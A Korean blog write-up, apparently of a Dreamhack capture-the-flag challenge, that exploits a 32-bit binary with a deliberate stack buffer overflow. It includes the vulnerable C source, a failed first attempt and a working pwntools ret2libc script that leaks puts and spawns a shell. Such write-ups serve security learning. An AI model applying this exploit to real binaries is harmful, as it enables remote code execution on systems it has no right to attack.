basic_rop_x86
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
전에 한 실습이랑 아키텍처 제외하고는 동일한 문제인거같다.
복습한단 마인드로 다시 한번 풀어보겠다
우선 실습환경 구축을 해주고
$ docker build -t temp .
$ docker run -d -p 10001:10001 --name temp_container temp
checksec 으로 보호 기법을 확인한다.
NX만 들어간 걸 확인했으니
read 함수를 이용해 buf에 오버플로우를 일으켜
read@got를 write 함수로 읽어오겠다.
그러기 위해서 리턴 가젯을 읽어오려 했는데, 생각해둔 가젯이 없었다.
32비트 아키텍처는 인자를 ebx ecx edx esi edi ebp 순으로 받는데 ebx밖에 없다.
그러면 write가 아닌 다른 함수로 읽어와야겠다.
어떤 함수들이 링킹 되어있을지 보기 위해 got 명령어를 쳐봤다.
puts 함수가 있다.
다시 c 코드를 살펴보니 alarm_handler() 함수에서 puts 함수를 사용했다
이제 스택 구조만 확인해보고 바로 코드를 짜보자
read 전에 브레이크를 걸고 HIJK 가 섞인 0x48바이트 문자열을 보냈다
스택 구조가 확인되었으니
쓰레기값 72바이트(0x48) 뒤에 원하는 값을 적으면 되겠다
리턴 가젯
pop ebx ; ret:0x080483d9ret:0x080483d9
/bin/sh 는 libc.so.6 에 있는 것도 아니까 이제 정말 다 구했다
위 정보들로 코드를 작성하면
코드
from pwn import *
p = remote('localhost', 10001)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
pop_ebx = 0x080483d9
ret = 0x080483d9
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']
payload = b'A'*0x44
payload += p32(pop_ebx)
payload += p32(read_got)
payload += p32(puts_plt)
payload += p32(main_addr)
p.send(payload)
p.recvuntil(b'A'*0x40)
leaked_read = u32(p.recvn(4))
slog('leaked puts', leaked_read)
"""libc_base = leaked_read - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'A'*0x48
payload += p32(ret)
payload += p32(pop_ebx)
payload += p32(binsh)
payload += p32(system)
p.send(payload)
p.interactive()"""
이렇게 했는데 안됐다.
그래서 운영체제 비트수에 차이가 있구나 싶어서 찾아보니,
32비트 운영체제 payload 구성
payload += p32(func) # call func
payload += p32(ret_after) # 리턴 주소
payload += p32(arg1) # func의 인자
이렇게 적으면 된다고 한다.
두 환경에서 함수 인자 전달 방식이 달라서 payload도 달라진다
아무튼 저 구조에 맞게 다시 적어보면
진짜 코드
from pwn import *
p = remote('host3.dreamhack.games', 8593)
#p = remote('localhost', 10001)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']
payload = b'A'*0x48
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
p.send(payload)
p.recvuntil(b'A'*0x40)
leaked_puts = u32(p.recvn(4))
slog('leaked puts', leaked_puts)
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'A'*0x48
payload += p32(system)
payload += p32(main_addr)
payload += p32(binsh)
p.send(payload)
p.interactive()
사실상 리턴가젯이 없어도 되는 간단한 문제였다
이걸 보내보면
이렇게 답을 얻을 수 있다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable] Exploit Tech: Out of bounds (0) | 2026.04.15 |
|---|---|
| [Pwnable] ssp_001 (0) | 2026.04.15 |
| [Pwnable] basic_rop_x64 (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Return Oriented Programming (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Return to Library (0) | 2026.04.15 |